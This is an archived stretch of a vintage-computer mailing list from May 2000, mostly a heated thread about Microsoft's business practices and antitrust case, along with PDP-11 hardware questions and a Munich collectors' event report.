'Captain Napalm' Conner) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <001f01bfb7f1$18e00880$a5e3dfd0@cobweb.net> from "Bill Dawson" at May 07, 2000 02:54:32 AM Message-ID: <200005070800.EAA29900@armigeron.com> It was thus said that the Great Bill Dawson once stated: > > And while I'm on the soapbox, I'll state the obvious. Bill Gates is a > shrewd thief and an accomplished liar. About the only original product MS > ever had was BASIC. IBM screwed Digital Research with the pricing of CP/M > for the PC. Gates was no small part of this. How? Bill Gates just licenced MS-DOS to IBM for a cheaper price than DR did CP/M. I can't see Bill Gates saying to IBM, ``If you don't charge more for CP/M than for MS-DOS, we'll walk.'' Bill Gates is ruthless but not stupid. -spc (Not that I'm trying to defend him or anything ... ) From whdawson at mlynk.com Sun May 7 04:23:52 2000 From: whdawson at mlynk.com (Bill Dawson) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005070800.EAA29900@armigeron.com> Message-ID: <002501bfb805$f59cbb60$a5e3dfd0@cobweb.net> -> It was thus said that the Great Bill Dawson once stated: -> > -> > And while I'm on the soapbox, I'll state the obvious. Bill Gates is a -> > shrewd thief and an accomplished liar. About the only -> original product MS ever had was BASIC. IBM screwed Digital Research with the -> pricing of CP/M for the PC. Gates was no small part of this. -> -> How? Bill Gates just licensed MS-DOS to IBM for a cheaper -> price than DR did CP/M. I can't see Bill Gates saying to IBM, ``If you don't -> charge more for CP/M than for MS-DOS, we'll walk.'' Bill Gates is ruthless but not -> stupid. The agreement, IIRC, was that DR wouldn't sue MS for the outright theft of large parts of CP/M used in MS DOS 1.0 (I can feel the heat of the flames already, this was a recent topic) if IBM would offer the choice of either MS DOS or CP/M as the OS on the PC. What Gary and DR overlooked was getting an agreement on the pricing structure. So IBM offered both, MS DOS at $40.00 or thereabouts, and CP/M at $200.00. When Joe Customer was finished shelling out the exorbitant bucks for the hardware where there wasn't much choice in the price, the only savings was in choosing MS over DR. If on the surface IBM was only interested in selling hardware, not applications, what did it matter to Big Blue what OS was on the box, as long as they sold the box. They certainly weren't making much in royalties on MS DOS, considering the low price. Since Gates already knew the money was to be made in software, whether OS or applications, not hardware, and had publicly stated so, he would have certainly been aware enough to "help" IBM with the competing OS's pricing structure, whether by dropping the price of MS DOS once he knew DR's price, or possibly arranging to have IBM price CP/M so much higher. -> -spc (Not that I'm trying to defend him or anything ... ) From mikeford at socal.rr.com Sun May 7 04:48:46 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005070743.DAA29555@armigeron.com> References: from "Mike Ford" at May 06, 2000 07:44:29 PM Message-ID: > For more on this, read The Rise of ``Worse is Better'' by Richard Gabriel. >You can find it at http://www.jwz.org/doc/worse-is-better.html Interesting ideas. From wanderer at bos.nl Sun May 7 07:19:13 2000 From: wanderer at bos.nl (wanderer) Date: Sun Feb 27 18:51:33 2005 Subject: 11/83 backplane info needed References: Message-ID: <39155F41.142E@bos.nl> Hello All, I got an 11/83 in a rack mountable box (5 1/4"), and I would like to know how many of the slots are type A/B and type C/D, as I have a spare 11/83 cpu and a spare 1Mb mem. board, and they are of the types AB & C/D. The backplane is identified as H9278-A and has 8 slots. Thanks, Ed -- The Wanderer | Geloof nooit een politicus! wanderer@bos.nl | Europarlementariers: zakken- http://www.bos.nl/homes/wanderer | vullers en dumpplaats voor Unix Lives! windows95/98 is rommel! | mislukte politici. '96 GSXR 1100R / '97 TL1000S | See http://www.bos.nl/homes/wanderer/gates.html for a funny pic. of Gates! From mikeford at socal.rr.com Sun May 7 05:43:19 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <004901bfb7e7$35f15500$0400c0a8@winbook> References: <013801bfb7da$1d640170$7464c0d0@ajp166> Message-ID: The working points to tick off are; MS used the profits from OS sales to subsidize the operations of groups competing against the applications of other companies, giving away products if nescessary to force the other company out of business. MS used OS incompatibilities to kill off competing applications. MS used applications incompatibilies to kill off competing OSes. MS used OS license agreements to kill off competing applications through preinstalled software exclusive agreements, and flat rate pricing structures (you pay a license fee on every system you sell whether it has MS OS on it or not). MS used ad boycotts to kill any magazine with negative reviews. MS used coertion and retaliation to make other companies toe the same line. This is especially true now where nobody is willing to say word one in this trial for fear of what MS would do. Yes this has been a real help to consumers. Its classic vertical monopoly behavior any turn of the century muckraker would recognize, and that it is successfull should come as a surprize to no one. From CLASSICCMP at trailing-edge.com Sun May 7 07:33:32 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:33 2005 Subject: 11/83 backplane info needed Message-ID: <000507083332.202038ea@trailing-edge.com> >I got an 11/83 in a rack mountable box (5 1/4"), and I would like >to know how many of the slots are type A/B and type C/D, as I have >a spare 11/83 cpu and a spare 1Mb mem. board, and they are >of the types AB & C/D. > >The backplane is identified as H9278-A and has 8 slots. First clue: for just about anything Q-bus, you can find the answer in the Micronotes. They're online at http://metalab.unc.edu/pub/academic/computer-science/history/pdp-11/ just click on "Micronotes". What you're looking for is specifically in Micronte #5, _Q22 Compatible Options_. It tells you Micro/PDP-11 H9278 4 X 3 Q22/CD and 4 X 5 Q22/Q22 Backplane In other words, just the standard BA23 backplane, the first 3 slots are AB/CD slots, the remaining 5 are AB/AB in a serpentine pattern. -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From lemay at cs.umn.edu Sun May 7 07:50:01 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:33 2005 Subject: RK05 cable Message-ID: <200005071250.HAA04561@caesar.cs.umn.edu> Someone mentioned that the cable for connecting a RK05 to a PDP 8/E is different than the one for a PDP 11/45. Is this correct, and if so does anyone know the DEC name and part numbers for the cable that is used with a PDP 8/E? -Lawrence LeMay From jpero at cgocable.net Sun May 7 04:43:28 2000 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005070753.DAA29771@armigeron.com> References: <001501bfb7e1$a18a8e40$0400c0a8@winbook> from "Richard Erlacher" at May 06, 2000 11:03:48 PM Message-ID: <200005071338.e47DcMr29099@admin.cgocable.net> > From: "Sean 'Captain Napalm' Conner" > Subject: Re: I wrote 'Nuke Redmond' > To: classiccmp@classiccmp.org > Date: Sun, 7 May 2000 03:53:02 -0400 (EDT) > Reply-to: classiccmp@classiccmp.org > It was thus said that the Great Richard Erlacher once stated: > > > > > Like Allison's comments about user space kept away from OSes and this > > > limits the blowups if a typical user make an miss is spot on. > > > > > I've never experienced this before, but I'm having difficulty parsing this > > sentence. > > Basically it means that as a user, if I try to delete the entire > filesystem it won't work. I, as a user, don't have the priviledges to > delete any old file---if I own them, yes, I can do what I please. But > system wide files? Nope. Can't do. Need administrative privs to delete > any arbitrary file. What I was thinking of is a untoucheable and invisible OS and for managing data is data users created only. Applications and any little utils, drivers and hardware all are seen as "modules". Drivers and hardware go hand in hand and is therefore as hardware module set. For applications and small utils, they would be software modules. The user interface would be two sets of fancy "fuseboxes", each "fuse" is module for applications have very simple but understandable items like button that glows when on software startup, turn off certain features and/or disable that module by turning off the master button that is glowing to go out. To remove the application, a user would grab n' pull the certain application module out of it's socket (snick sound) and drop it in trash (noise trashcan makes when something thrown in) but the user-created data remains. Adding applications and any certain stuff software in nature come in form of a module(s) that you drag it from a install cdrom to the empty socket "application fusebox" with audiable click. Rearranging the startup enabled modules by physically rearrange the modules by their order. To launch applications, is by the run buttons, to end it, press it again it audibly starts, the button go dark with sound of running down. There should be two levels of user expertises: single mode or run multiple applications. If a application takes so long to run should show progress line extending, no numbers. Processing heavily, should show "hmmm". Same idea for hardware modules and "fusebox" with few features in each module for each hardware. Finally, to pull the hardware, user either pull the hardware itself and the modules simply diappears. Plug that hardware (it incidently has own drivers suite built in), module appears. USB's feature is very close to this mark but this is utterly spoiled by asking for a driver and still too complex and not in form of user interface I described. Note, the physical appearance should reflect what it should look like they have used everyday in their lives that make no mistaking what it is and use it. Not icons and text, each module has a name on it. Think of the myst and riven interfaces especially the buttons that lights and reconigizable info status. Snip! What I described would work with vast majority of users with flashing "12:00" vcrs even my mom would understand and use it in a flash. Apple's new stuff is not up to what I just described. I-opener concept is very close to that mark. M$ stuff is too complex and too confusingly, bad wordings and maze-like. Also, no menu! Basic functions that get used heavily comes in form of few buttons in a row. To use more complex features and to access features, use function commands via keyboard and a manual. People can learn by rote by using it again and again thereby the manual get used less and less with time. Too much time is wasted picking out menus with mouse. Should consider the mouse as minor part just for buttons, selecting lines or items, adjust something. > -spc (One running on a diskless machine) Wizard From jpl15 at netcom.com Sun May 7 11:47:53 2000 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:51:33 2005 Subject: FREE! Siemens TTY and converter (fwd) Message-ID: This might be of some interest to European Classiccmpers... respond directly to the original poster, and it looks like you will have to arrange shipping, but hey, it's free... Maybe someone in the Tennessee area can cache it..? ---------- Forwarded message ---------- Date: Sun, 07 May 2000 10:32:11 -0500 From: Tom Norris To: greenkeys@qth.net Cc: boatanchors@theporch.com, BASWAPLIST@foothill.net Subject: FREE! Siemens TTY and converter FREE FREE FREE Siemens T100 ( ASR ) teleprinter, several rolls of punch tape Siemens FSE-1306 converter with full spares kit including spare tubes and CRT. Both items refurbished 1987, both look like new. There may be some literature, most likely just an ops manual on one or both. Currently mounted in my ex-Bundeswehr radio truck, and I need the stuff out of the way to redo the truck for Field Day use. Photo at http://www.telalink.net/~badger/tty_dec.jpg After a week, they go to the trash, I hate to trash the stuff but am absolutely running out of room and the gear needs 220VAC 50Hz, which I don't have. ( no BA guys, the tubes and good parts stay with me, I have not got totally bonkers ) Is in Manchester, TN are, near Nashville. No shipping, sorry. Tom Norris KA4RKT From vaxman at uswest.net Sun May 7 09:43:51 2000 From: vaxman at uswest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005071338.e47DcMr29099@admin.cgocable.net> Message-ID: On Sun, 7 May 2000 jpero@cgocable.net wrote: > button that is glowing to go out. To remove the application, a user > would grab n' pull the certain application module out of it's socket > (snick sound) Sound of an RL02 spinning down :) > and drop it in trash (noise trashcan makes when > something thrown in) Sound of a PC hitting the pavement from 50 feet :) clint From dastar at siconic.com Sun May 7 14:03:14 2000 From: dastar at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:51:33 2005 Subject: VCF Munich! Message-ID: <200005071803.LAA04452@siconic.com> I just returned home from my voyage to Munich for the VCF 1.0e and I am happy to report that it went rather well, in fact as well as expected. A little over 100 people came through over the course of the weekend. There were some great exhibits, including a complete VAX 11/850 setup and running, an Atari 1450XLD (only a few of these exist), some rare East German microcomputers, and even an Inca Quipu! We somehow managed to execute the Nerd Trivia Challenge despite numerous technical challenges. Our own Philip Belben took 2nd place. Congratulations, Phil! After the event was over, Hans, Philip and myself went on a three day whirlwind tour around Germany. Three days couped up in a car with a wacky Bavarian is more torture than anyone should ever be subjected to, but Philip and I managed to make it through the ordeal without too many psychological scars (I enter long term counseling tomorrow). Of course you may get slightly differing opinions from Philip but pay him no mind ;) Somehow we didn't find time to visit the Deutches Museum in Munich to see the Siemens 2002 (worlds first transistorized computer) but we did make it to the Technik Museum in Berlin and saw many fine Zuse machines, including a replica of the Z1 and a Z23, along with some other special purpose machines. It was a fantastic exhibit. I got digital photos of the machines and will be posting them to the VCF website shortly (I'll announce when they are up). We then made it over to the Heinz Nixdorf Museum in Paderborn and I must say I am impressed! What an excellent place. They had excellent exhibits starting with humankind's earliest attempts at writing and counting and worked up through various stages of technological innovation to the computers. There were all sorts of excellent machines on exhibit but we weren't allowed to take any photos :( The place was crawling with spooks ready to give you a sound drubbing if even the thought of taking a picture crossed your mind. Always the rebel I did manage to snap a picture of one of the exhibits anyway. Nyah. Anyway, highly recommended. We bought some good books, including an autobiography of Konrad Zuse which I had the pleasure of reading on the long flight back. What an amazing story! We also scored some prints of Zuse's, one of which was even signed by him when he visited the museum before he passed away. I spent the last two days in Oxford, England, where I delivered two talks on computer collecting. I was able to meet our own John Honiball there as well as pick up several good books from a used book store. I didn't have time to search for any old computers but I did make contact with a Physics professor there at Oxford who has in his own collection several of the DEC machines the university has discarded over the years, including a PDP-8 (i.e. "straight 8"). He said he knows of some DEC machines (an 11/23 was specifically mentioned) that are to be discarded soon so if anyone has any interested in making contact with him (I'm sure he'll be a continued source of good stuff) then contact me privately and I'll pass on his contact information. I also managed to find some neat-o stuff in Munich at a flea market we went to before the VCF. I got an Atari 520ST+ (only because I don't have a '+' model), a Sharp PC-1500 with expansion chassis and case, and a Siemens teletext terminal that was used in Germany throughout the 80s (similar to the French Minitel or the English Prestel systems). Now that VCF 1.0e is a part of history, I will start ramping up production for VCF 4.0. My interest in producing an East Coast USA event is also growing, and I will be contacting those who have offered assistance in the coming weeks to determine if a summertime event would be feasible. As well, if there is anyone in the New England region who would like to assist then please contact me privately. Thanks to everyone who helped with VCF 1.0e, and of course extra- special thanks go to Hans Franke for making it a reality. I also thank him for teaching me some particularly juicy German. As my reportoire of languages grows I will soon be able to insult and offend people the world over! Pictures of VCF 1.0e will be posted to the VCF website soon. Stay tuned for details. We'll see you all at the next VCF! Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... VCF Europe: April 29th & 30th, Munich, Germany VCF Los Angeles: Summer 2000 (*TENTATIVE*) VCF East: Planning in Progress See http://www.vintage.org for details! From edick at idcomm.com Sun May 7 13:43:35 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' References: <013801bfb7da$1d640170$7464c0d0@ajp166> Message-ID: <004201bfb854$5672f000$0400c0a8@winbook> See my remarks below, plz. Dick ----- Original Message ----- From: Mike Ford To: Sent: Sunday, May 07, 2000 4:43 AM Subject: Re: I wrote 'Nuke Redmond' > The working points to tick off are; > > MS used the profits from OS sales to subsidize the operations of groups > competing against the applications of other companies, giving away products > if nescessary to force the other company out of business. > There's nothing illegal, immoral, or fattening about these. Perhaps there should be limits, but there aren't, hence everybody (except MS) can do it with no fear of legal recourse. > > MS used OS incompatibilities to kill off competing applications. > Incompatibilities of what sort? Isn't that simply a business decision? Have you and examples? > > MS used applications incompatibilies to kill off competing OSes. > That CERTAINLY is a valid business/marketing decision. > > MS used OS license agreements to kill off competing applications through > preinstalled software exclusive agreements, and flat rate pricing > structures (you pay a license fee on every system you sell whether it has > MS OS on it or not). > MS isn't alone in pursuing this practice. > > MS used ad boycotts to kill any magazine with negative reviews. > That's one of the risks a magazine editor has to take into consideration in making the decision to publish an item or not. It's just like advertising the fact that Wal-Mart jeans are built by Chinese prisoners, or that certain lines of clothing carried by J.C. Penney are made in sweatshops. > > MS used coertion and retaliation to make other companies toe the same line. > This is especially true now where nobody is willing to say word one in this > trial for fear of what MS would do. > Oh, there's a lot being said, but little of it's true or relevant. What's more, the legal beagles aren't "up" enough on what the concepts and verbage they're tossing around means. > > Yes this has been a real help to consumers. Its classic vertical monopoly > behavior any turn of the century muckraker would recognize, and that it is > successfull should come as a surprize to no one. > Well, we may get to see whether the courts come up with a prudent and reasonable solution. The obvious solution to break up MS won't help, but it will serve to octuple the cost of both software and hardware. It will set back the industry a decade as it tries to find a substitute for MS in a market where really only one OS and Office automation suite is going to be effective. If you don't see that through your haze of rage at Microsoft for doing something you weren't smart enough or diligent enough to do yourself, then perhaps you can come up with a potential successor OS to WIndows. Remember, though, that if MS simply closed its doors tomorrow, it wouldn't harm MS as much as it would harm the end user. What I'd look for is a small company with fewer than a dozen employees, since more employees would make the company to ponderous and intert to keep up, to invent a non-Windows OS with a GUI that won't get them sued, and integrate their own office automation software with that. Once that's done, they should, if they're smart, sell out to some biggie, e.g. COMPAQ or IBM, since only a BIG organization has the resources to mackage, market, publish, and support a product of that magnitude. > From edick at idcomm.com Sun May 7 13:48:20 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' References: <001501bfb7e1$a18a8e40$0400c0a8@winbook> from "Richard Erlacher" at May 06, 2000 11:03:48 PM <200005071338.e47DcMr29099@admin.cgocable.net> Message-ID: <004b01bfb854$ffac2a60$0400c0a8@winbook> That would be a WONDERFUL idea ... an OS distributed on ROM. I trust you'll start on that immediately. Dick ----- Original Message ----- From: To: Sent: Sunday, May 07, 2000 3:43 AM Subject: Re: I wrote 'Nuke Redmond' > > From: "Sean 'Captain Napalm' Conner" > > Subject: Re: I wrote 'Nuke Redmond' > > To: classiccmp@classiccmp.org > > Date: Sun, 7 May 2000 03:53:02 -0400 (EDT) > > Reply-to: classiccmp@classiccmp.org > > > It was thus said that the Great Richard Erlacher once stated: > > > > > > > Like Allison's comments about user space kept away from OSes and this > > > > limits the blowups if a typical user make an miss is spot on. > > > > > > > I've never experienced this before, but I'm having difficulty parsing this > > > sentence. > > > > Basically it means that as a user, if I try to delete the entire > > filesystem it won't work. I, as a user, don't have the priviledges to > > delete any old file---if I own them, yes, I can do what I please. But > > system wide files? Nope. Can't do. Need administrative privs to delete > > any arbitrary file. > > What I was thinking of is a untoucheable and invisible OS and for > managing data is data users created only. Applications and any > little utils, drivers and hardware all are seen as "modules". > Drivers and hardware go hand in hand and is therefore as hardware > module set. For applications and small utils, they would be > software modules. > > The user interface would be two sets of fancy "fuseboxes", each > "fuse" is module for applications have very simple but understandable > items like button that glows when on software startup, turn off > certain features and/or disable that module by turning off the master > button that is glowing to go out. To remove the application, a user > would grab n' pull the certain application module out of it's socket > (snick sound) and drop it in trash (noise trashcan makes when > something thrown in) but the user-created data remains. Adding > applications and any certain stuff software in nature come in form of > a module(s) that you drag it from a install cdrom to the empty socket > "application fusebox" with audiable click. Rearranging the startup > enabled modules by physically rearrange the modules by their order. > > To launch applications, is by the run buttons, to end it, press it > again it audibly starts, the button go dark with sound of running > down. There should be two levels of user expertises: single mode or > run multiple applications. If a application takes so long to run > should show progress line extending, no numbers. Processing > heavily, should show "hmmm". > > Same idea for hardware modules and "fusebox" with few features in > each module for each hardware. Finally, to pull the hardware, user > either pull the hardware itself and the modules simply diappears. > Plug that hardware (it incidently has own drivers suite built in), > module appears. USB's feature is very close to this mark but this is > utterly spoiled by asking for a driver and still too complex and not > in form of user interface I described. > > Note, the physical appearance should reflect what it > should look like they have used everyday in their lives that make no > mistaking what it is and use it. Not icons and text, each module has > a name on it. > > Think of the myst and riven interfaces especially the buttons that > lights and reconigizable info status. > WHAT?? > > Snip! > > What I described would work with vast majority of users with > flashing "12:00" vcrs even my mom would understand and use it in a > flash. Apple's new stuff is not up to what I just described. > I-opener concept is very close to that mark. M$ stuff is too complex > and too confusingly, bad wordings and maze-like. > > Also, no menu! Basic functions that get used heavily comes in form > of few buttons in a row. To use more complex features and to access > features, use function commands via keyboard and a manual. People > can learn by rote by using it again and again thereby the manual get > used less and less with time. Too much time is wasted picking out > menus with mouse. Should consider the mouse as minor part just for > buttons, selecting lines or items, adjust something. > > > -spc (One running on a diskless machine) > > Wizard > From edick at idcomm.com Sun May 7 13:05:34 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' References: from "Mike Ford" at May06, 2000 07:44:29 PM Message-ID: <003501bfb84f$04a4ce60$0400c0a8@winbook> That's a logical corollary to Gresham's Law. Dick ----- Original Message ----- From: Mike Ford To: Sent: Sunday, May 07, 2000 3:48 AM Subject: Re: I wrote 'Nuke Redmond' > > For more on this, read The Rise of ``Worse is Better'' by Richard Gabriel. > >You can find it at http://www.jwz.org/doc/worse-is-better.html > > Interesting ideas. > > From edick at idcomm.com Sun May 7 13:03:31 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' References: <200005070800.EAA29900@armigeron.com> Message-ID: <003401bfb84e$bd245ce0$0400c0a8@winbook> It's Billy's job to be ruthless. He's managing the finances of a very large enterprise, and has responsibilities to his stockholders, employees, OEM customers, end-users, and vendors. I'd say he's successful because he and his staff, many of whom he picked out personally, are extremely well-focused. Dick ----- Original Message ----- From: Sean 'Captain Napalm' Conner To: Sent: Sunday, May 07, 2000 2:00 AM Subject: Re: I wrote 'Nuke Redmond' > It was thus said that the Great Bill Dawson once stated: > > > > And while I'm on the soapbox, I'll state the obvious. Bill Gates is a > > shrewd thief and an accomplished liar. About the only original product MS > > ever had was BASIC. IBM screwed Digital Research with the pricing of CP/M > > for the PC. Gates was no small part of this. > > How? Bill Gates just licenced MS-DOS to IBM for a cheaper price than DR > did CP/M. I can't see Bill Gates saying to IBM, ``If you don't charge more > for CP/M than for MS-DOS, we'll walk.'' Bill Gates is ruthless but not > stupid. > > -spc (Not that I'm trying to defend him or anything ... ) > > > From edick at idcomm.com Sun May 7 12:54:19 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' References: <200005070753.DAA29771@armigeron.com> Message-ID: <002601bfb84d$74277a00$0400c0a8@winbook> Well, you can't have it both ways. If you are one of the many who've complained that "it won't let me ..." or "why does it demand multiple confirmations when I just want to delete . . ." you certainly don't want a system that has MORE checks than the current generation, do you? Dick ----- Original Message ----- From: Sean 'Captain Napalm' Conner To: Sent: Sunday, May 07, 2000 1:53 AM Subject: Re: I wrote 'Nuke Redmond' > It was thus said that the Great Richard Erlacher once stated: > > > > > Like Allison's comments about user space kept away from OSes and this > > > limits the blowups if a typical user make an miss is spot on. > > > > > I've never experienced this before, but I'm having difficulty parsing this > > sentence. > > Basically it means that as a user, if I try to delete the entire > filesystem it won't work. I, as a user, don't have the priviledges to > delete any old file---if I own them, yes, I can do what I please. But > system wide files? Nope. Can't do. Need administrative privs to delete > any arbitrary file. > > I'm of two minds on this---I can see having administrative accounts and I > can see not having them. It really depends upon how centralized you want > your system(s) set up. > > > Nevertheless, I'd say the the UNIX and others of that > > ilk were designed for use by and for nerds, from the standpoint that > > producing software is useful work. That's only true if you're a software > > vendor. If you're in the business of selling tires, or of making them, > > generating software is overhead that you'd like to avoid. > > There have been embeded systems based upon UNIX. I know that Taco Bell > used to use SCO UNIX in each store to run the cash registers and manage the > money/inventory of the store. The SCO boxes at Taco Bell don't have > development systems on them---there is no need as embedded systems. > > > Maybe Windows isn't for you. I use it because it's hard not to. I have > > half a dozen LINUX versions none of which has been left installed for more > > than a day or two, and they wouldn't meet my needs. Likewise, I've not > > gotten a comfortable feeling with SCO, UnixWare, etc. for the '386 and up > > types. > > Different users, different needs. Personally I've been able to use Linux > to save what otherwise would have been thrown-away PCs (one is even running > my personal website). > > -spc (One running on a diskless machine) > From edick at idcomm.com Sun May 7 12:48:12 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' References: <200005070402.AAA24938@armigeron.com> <00c601bfb7eb$3f22b520$9d9fb2d1@Smith.earthlink.net> Message-ID: <001301bfb84c$99c1bf60$0400c0a8@winbook> Almost on the mark, but see my remarks below. Dick ----- Original Message ----- From: Wayne M. Smith To: Sent: Sunday, May 07, 2000 12:12 AM Subject: Re: I wrote 'Nuke Redmond' > > William Henry Gates, III was able to leverage any > advantage he had, and he > > did. > Yes, it's likely that Billy used his vast resources to push things right to the limits, . . . and then he LEANED as far as he could, having reach what he perceived to be the limits. > > Well leveraging, that's different. If you use your > monopoly power in one market (such as OS) to exclude > competition in another market (browser) then that's a > no-no. Perhaps that's what Richard intended. > All the talk about the browser market is a red herring. Internet Explorer was never a product separate from Windows. It was a part of the OS utility package called PLUS!. In Win98, it was integrated into the OS becauseit was the tool for viewing the help files, among other things. Internet Explorer always was a part of the Windows 9x package. Netscape, OTOH, was a commercial product intended for sale, but initially offered gratis to individual users. HOWEVER . . . they did have to purchase the WINSOCK from a third party, i.e. Trumpet, in most cases. This was never the case with Internet explorer. Only after Internet Explorer became as popular as it did under '95 did Microsoft release the "made for WIndows 3.1x" version, also at no charge, but complete with its own WINSOCK and the 32-bit runtime libraries it needed for operation under the 16-bit OS. In the meantime, IBM had acquired LOTUS, primarily in order to take over the Lotus Notes program. With the spread of Netscape, people found that Netscape would replace Lotus Notes quite easily, hence IBM quickly acquired them, only to distance themselves from it later, in order to APPEAR to be an outsider to the conflict which I'm quite certain they actually scripted, and which is now being played out in the courts. Unfortunately, there does appear to be evidence that MS overreached its rightful position in the industry, giving their applications developers an advantage by giving them information they didn't publish as part of the standard API. That was an anticompetitive act, and should be reversed in some way. Many people think that lobotomizing MS would help the industry. I am not among them, however, because, at least for now, MS is the only organization capable of mustering the talent and resources to generate application software that pretty much functions as it should within the framework of this extremely complex OS. Even if someone else could do it, which I seriously doubt, it's unlikely anyone can come up with an OS capable of competing against Windows, if the same tests are to be applied that have been used to determine MS' practices monopolistic or anticompetitive. If the complete source code for Windows is to be mandated by the courts to be made available to anyone who wishes to write applications for Windows, MS is correct in demanding that the code be released only to companies who, including all their employees as individuals, be barred for a period of, say, ten years, from participating in the production of any operating system which might be used as a competitor to Microsoft's OS products, including the drivers, utilities, or ancillary programs, e.g. a browser. If they're to "fix" this thing in a permanent way, then they will have to legislate a solution which would require that no person involved in the development of any major software product be permitted to communicate with anyone else, not his/her spouse, offspring, superiors or subordinates, except in permanently recorded written form for a period not less than five years beyond the end of the economic life of that product. I doubt that will happen. From edick at idcomm.com Sun May 7 12:59:39 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' References: <200005070757.DAA29788@armigeron.com> Message-ID: <002c01bfb84e$32d2d120$0400c0a8@winbook> That, sir, is my point, quite precisely put. I'm for defining a system the primary goal of which is to accomplish eful work as easily as possible. Software development is a task for systems tailored for software development, and they don't do "useful work" as easily (for the people who normally do it) as a system optimized for "useful work." More below: Dick ----- Original Message ----- From: Sean 'Captain Napalm' Conner To: Sent: Sunday, May 07, 2000 1:57 AM Subject: Re: I wrote 'Nuke Redmond' > It was thus said that the Great Richard Erlacher once stated: > > > > > This is the sickest aspect of the whole computer industry, ALL of the > > > companies that made fairly good reliable products went under from the > > flood > > > of dollars the BAD heavily marketed software generated via updates. > > > > > Well, I wish a few more of them would go. I can't imagine what companies, > > now defunct, produced this set of "fairly good reliable products " have gone > > down the toilet because they were outspent or outmarketed by MS. An example > > or two would be nice. > > Borland? Oh that's right, you don't do software development. Umm ... > Yes, but as you've pointed out already, that case is ground-ruled out of this discussion. I have used their products too, in fact since their CP/M-based Turbo Pascal, and miss the no-nonsense approach they seem to have taken with respect to almost everything they did. > > -spc (Hey, at least that's one ... ) > From ard at p850ug1.demon.co.uk Sun May 7 13:22:36 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:34 2005 Subject: RK05 cable In-Reply-To: <200005071250.HAA04561@caesar.cs.umn.edu> from "Lawrence LeMay" at May 7, 0 07:50:01 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 921 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000507/a4fb6007/attachment.ksh From ard at p850ug1.demon.co.uk Sun May 7 13:02:47 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:34 2005 Subject: value of RK05 In-Reply-To: from "Mike Ford" at May 6, 0 07:30:49 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 924 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000507/ef3cf5a5/attachment.ksh From ard at p850ug1.demon.co.uk Sun May 7 13:14:08 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:34 2005 Subject: value of RK05 In-Reply-To: <001e01bfb7e9$cd7dcd20$a5e3dfd0@cobweb.net> from "Bill Dawson" at May 7, 0 02:02:19 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2690 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000507/37331660/attachment.ksh From wilson at dbit.dbit.com Sun May 7 14:47:19 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:34 2005 Subject: RK05 cable Message-ID: <200005071947.PAA03659@dbit.dbit.com> On Sun, May 07, 2000 at 07:50:01AM -0500, Lawrence LeMay wrote: > Someone mentioned that the cable for connecting a RK05 to a PDP 8/E > is different than the one for a PDP 11/45. Is this correct, and if > so does anyone know the DEC name and part numbers for the cable > that is used with a PDP 8/E? I *think* the paddle card is M993, but could be wrong. The entire assembly including the ribbon cables (which connect to the paddle board using soldered IDC endings rather than the usual Berg connectors) has another #, 54-class I think????? IIRC the reason it's different (besides the fact that the RK8E plugs into regular Omnibus slots and wouldn't be able to dedicate a backplane slot to the Unibus style cable that the RK11D uses) is that the RK8E uses the old individual drive select lines (for four drives max), not the new encoded drive selects (for eight drives). Could be remembering wrong though. Anyway this only matters between the controller and the first drive, after that you can connect the other drives using Unibus cables. John Wilson D Bit From kyrrin at bluefeathertech.com Sun May 7 15:45:15 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:51:34 2005 Subject: MVME Docs/Data Needed Message-ID: <3915736B.9765.183FCBBA@localhost> Hi, folks, Got some good ones here. Recent acquisition activity has netted me a nice Motorola MVME945B chassis stuffed full of cards. Any docs or data I can get on said chassis would be most welcome. Jumper 